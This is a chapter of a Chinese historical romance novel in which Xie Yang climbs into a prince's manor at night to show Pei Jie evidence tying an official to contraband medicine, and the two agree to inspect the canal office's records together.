“你赶紧去追上茯苓,让她告诉叶三,他不用去查账了,明早我会亲自去。”
谢泱动作很快,边说边换上了一套外出的衣裳。
半夏看着谢泱换衣服,赶紧问她:“姑娘,你这么晚了还要去哪?我去找茯苓,那谁跟着你呀?”
“我去王府一趟,不用人跟。”谢泱换好衣服,麻利地拿了一根素簪子将头发挽起来。
“啊?!”半夏惊于自家姑娘这么晚了还要去王府,还是自己一个人!不会是要夜会情郎吧······
谢泱看这半夏这个样子,也没多解释,将那一叠文书收好,叠进袖子里,推着半夏就出门了。
“你快去吧,免得叶三走了,你还得去一趟灵丹阁。”
谢泱催促半夏,说完自己风风火火从另一个方向走了。
半夏看着谢泱的背影,咬咬牙,转身跑去追茯苓去了。
30.夜拜王府
谢泱到南安王府的时候,天已经黑透了。
她没走正门,也没走角门——她翻的墙。
确切的说,是裴易水给她留的那道矮墙。裴易水说过,墙根底下有块石头是松的,踩上去就能翻过去,落地就是她院子的后花园。
裴易水刚告诉她的时候,她只觉得这墙她这辈子都不会用到,好好的门不走,翻什么墙。但她现在却觉得,郡主可能是她见过最有远见的人!
谢泱抬脚踩住那块石头,手稳稳扒住墙头,三两下翻了过去,一气呵成。
只是在落地的时候,她踉跄了一下,袖子被墙头的瓦片刮了个口子。
谢泱低头看了一眼,暗骂了一声这衣服质地也太差了,接着便把碎布条塞了回去。
她拍拍衣裳往前走了两步,然后猛地刹住了脚步。
裴玠就站在三步以外的花圃边上,抱着手臂,好整以暇地看着她。
“你怎么——”谢泱被吓得一哆嗦,瞪大眼睛看着他。
“这话该我问你吧。”裴玠嘴角带着一抹揶揄的笑,上下打量了她一眼,目光落在谢泱袖子的那道口子上,“王府的墙,好翻吗?”
谢泱深吸一口气,努力把想要翻白眼的冲动压下去,“我来找郡主。”
“她不在。”
“去哪儿了?”
“和我母妃去护国寺上香去了,明日才回来。”裴玠往前走了两步,走到谢泱面前,“所以,你就来翻我的墙?”
谢泱噎了一下:“我又不知道郡主不在,而且,我没翻你的墙,我翻的明明是郡主的墙。”语气中颇有强词夺理的味道。
“她的墙就是我的墙。”裴玠说这话的时候明明没什么表情,可谢泱总觉得他在笑她。
谢泱反问他:“我竟然不知道,殿下竟有如此闲情雅致,大晚上的来花园赏花。”
裴玠无语凝噎,她真当王府的暗卫是吃素的?
早在谢泱靠近王府的时候,就有人来禀告裴玠了,只是,他总不能说,他是特意在这里等她翻墙进来的吧?
裴玠没说话。
谢泱也没再逗他,只是从袖子里掏出那叠批文,一把拍着裴玠的胸口上。
“你看看这个。”
裴玠低头看了看被拍在胸口的纸,又抬头看看谢泱,一边将那文书拿好,一边调侃谢泱:“你知不知道,你这一下,够我治你个不敬之罪?”
“你治去呗,”谢泱没好气的说,“把我抓进去,明天就不用去查账了,正好省事。”
裴玠看了她一眼,没说话,他把那叠批文摊好,翻开。
谢泱站在旁边,看他一页一页翻。
裴玠翻到泰和六年那一页的时候,手指停了下来。
“方文进。”他念出那个名字。
“你认识?”
“凤阳府同知,九王的人。”裴玠轻描淡写地说出了谢泱想要知道的信息。
九王的人?
“你早就知道?”谢泱的眼睛眯了眯。
“知道他是九王的人,但不知道他跟禁药有关系。”裴玠继续往后翻,“这些东西你从哪弄来的?”
“我母亲留下的,还有一些是我自己查的。”谢泱靠在旁边的一棵树上,“泰和六年开始,灵丹阁每一批药材的进出记录,我都留着,和漕运司的批文比对,比对下来,就发现了一些不对劲的地方。”
裴玠抬起头看向她:“三年?”
“三年,怎么了?”谢泱说,“你以为我接手灵丹阁,每天都在干什么,躺着收钱吗?”
裴玠笑了笑,低头继续看了起来:“没有,我只是觉得,你是一个很合格的东家。”
裴玠翻到泰和八年的那批禁药的时候,他停了下来。
“恒和堂?”
“九王门客赵先生的本家侄子开的。”谢泱说,“连我都知道,你应该不会不清楚吧?”
“知道,”裴玠把批文合上,看着她,“所以,你发现了什么不对劲的地方?”
谢泱直起身子,走到他面前,指着那叠批文道:“这个方文进,泰和六年是签字人,泰和七年是核人,泰和八年是监发人。一个府同知,连续三年出现在禁药批文上,如你所说,他是九王的人,那么从签字到核对再到监发,那只能说明——他在九王的棋局里,位置越来越高。”
她顿了顿。
“你明天让顾怀瑾去漕运司查账,查不出什么。”
裴玠被她说得很有几分兴趣:“此话怎讲?”
“那批批文上只写了出库,并没有写去向。药材从漕运司出来以后去了哪里?是运到了顺天府,还是留在了凤阳?如果留在了凤阳,又藏到了什么地方?这些东西,光看账本是看不出来的,要看出库单、入库单,还有船队的航行日志。”
谢泱将她先前的分析全部告诉了裴玠。
裴玠看着她。
“叶掌柜看得懂账本,却不一定看得懂这些。”谢泱说。
“你看得懂?”
“我看得懂。”谢泱说这话的时候,语气平平却很肯定,眼睛也亮亮的。
裴玠忽然想起第一次见她的时候——明明情况很危机,却还是有功夫调侃他,一脸灵动。
“你一个人去不了。”裴玠果然说了这句话。
“我知道。”谢泱说,“所以我来找郡主,想让她帮我递个话,问问你能不能帮我弄一张查核令。”
裴玠抬起头看她。
“她不在,”谢泱耸了耸肩,“然后你就出现了。”
“然后我就出现了。”裴玠重复了一遍她的话。
沉默了一会儿,裴玠忽然站起来,走到她面前,他比她高了一个多头,谢泱要仰着头才能正视他的眼睛。
“明天我陪你去。”裴玠说。
谢泱愣了一下:“你不是让顾大人去吗?”
“改主意了。”
“为什么?”
裴玠低头看着她,表情很正经:“第一,顾怀瑾是通判,而漕运司的刘仁通是九王的人,顾怀瑾去,他表面配合,暗地里肯定会拖延推诿,若是我去,他不敢。”
谢泱点了点头,觉得有道理:“那第二呢?”
“第二,你穿成这样,”裴玠指了指她身上那身灰扑扑看不出男女的衣裳,“漕运司的人又不瞎,你去,不出半个时辰就被人扣下了,以顾怀瑾的官职,可护不住你。而我陪你去,就算他们看出来你是女子,也不敢说什么。”
谢泱低头看了看自己。
这身衣裳是她特意让裁缝照着男子的尺寸做的,为的就是以防万一有些不适合女子去的场合、但她不得已要去。
只是,她穿上的确不像个男人,她承认裴玠说得很有道理。
“第三呢?”她问。
裴玠沉默了一瞬。
“第三,”他说,“我也想去看看。”
谢泱狐疑的瞧着裴玠,眼前人的表情还是一本正经,可她总觉得这句话有些不对劲,她也说不上来哪里不对劲,就是觉得——他好像不是临时改的主意,倒像是本来就打算去,只是找了个借口。
“可这样一来,顾大人不会心存怨怼吗?我听说顾大人是那种闲不下来的人。”她问。
“不会,
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”裴玠解释道,“方文进那边需要人盯着,顾怀瑾去正合适。”
谢泱想了想,觉得可行:“行,明天什么时候?”
“卯时三刻,漕运司后门,我让人来接你。”
谢泱点点头,转身要走,走了两步,又停下来,回过头。
“裴玠。”
“嗯?”
“你那个查核令,”谢泱指了指他,“是真的吧?别到时拿出来,人家说是假的,还要我跟你一起丢人。”
裴玠看着她,忽然笑了起来。
不是那种客气的、礼节性的笑,是真的笑。俊朗的眉眼弯弯,嘴角翘起来,整个人一下子从高高在上的“南安王府世子”变成了一个随性的、会笑的年轻公子。
“你笑什么?”谢泱皱眉,语气认真。
“没什么,”裴玠收了笑,但眼睛还是弯的,走过来,拍了拍谢泱的头,“谢姑娘放心,就算是假的,我也会让人把它当成真的。”
裴玠手心的温度从谢泱头顶传来,烫得谢泱心漏了一拍。
她撇开眼,脸却不自觉地烧了起来。
“走了。”谢泱转身就走,没走几步又被裴玠叫住。
“谢泱——”
谢泱转过头,还有些方才的慌乱,可偏偏要用没好气的语气来掩盖:“殿下还要吩咐什么?!”
裴玠看着她这个样子,只觉得颇为可爱。
“没事,只是,你回——也要当这梁上君子?”裴玠的意思是笑她糊涂,明明出去可以直接从正门走,不用翻墙。
谢泱被眼前人揭短,有些“恼羞成怒”:“多谢殿下好意,只是,我的爱马还停在墙外,我怕它‘寂寞’!”
说完,谢泱头也不回地往那矮墙走去。
“明天别忘了!”谢泱翻过去后,矮墙边,一颗圆圆的脑袋探出来,提醒裴玠。
“忘不了。”
听到裴玠回应她,谢泱放心地跳了下去。
这次落地比来的时候稳当多了,袖子也没刮破,她拍了拍手上的灰,沿着巷子往外走。
身后,矮墙那边,裴玠还站在原地,目光仍停留在谢泱方才翻墙走的地方。
他想起方才谢泱说“我自己查的”的时候,脸上流露出淡淡骄傲的模样,嘴角不自觉地弯了弯。
随后,那笑容又淡了下去。
这么多年,她一个人,在灵丹阁的账本堆里,一页一页、一行一行地比对核查,三年前,她也还是个丫头片子吧,不知道有没有人帮她、有没有人教她,还是说,就她一个人,踏踏实实地把灵丹阁经营成现在这番模样。
裴玠把那叠批文收进袖中,转身往书房走,走了两步,忽然停下来。
想起刚刚谢泱在墙边一本正经地叮嘱他“明天别忘了”,他嘴角又弯了弯。
忘不了。
······
裴玠走后,后花园里两个身影在角落里鬼鬼祟祟,嘀嘀咕咕。
“喂,你数清楚了没?”
“什么?”
墨影一巴掌拍在玄刃的头上:“当然是主子方才笑了几回啊!”
“就一回。”玄刃斩钉截铁地说,“因为主子全程都在笑,当然只算一回了。”
“有道理。”墨影摸着下巴,少见的赞同玄刃的话,“谢姑娘这般可爱,主子很难把持得住啊!”
玄刃点点头:“只是,方才主子摸了谢姑娘的头,我觉得有失君子风度。”
“你懂什么!主子这叫‘舍不得风度套不着姑娘’,这都是大智慧。”
“有道理。”
······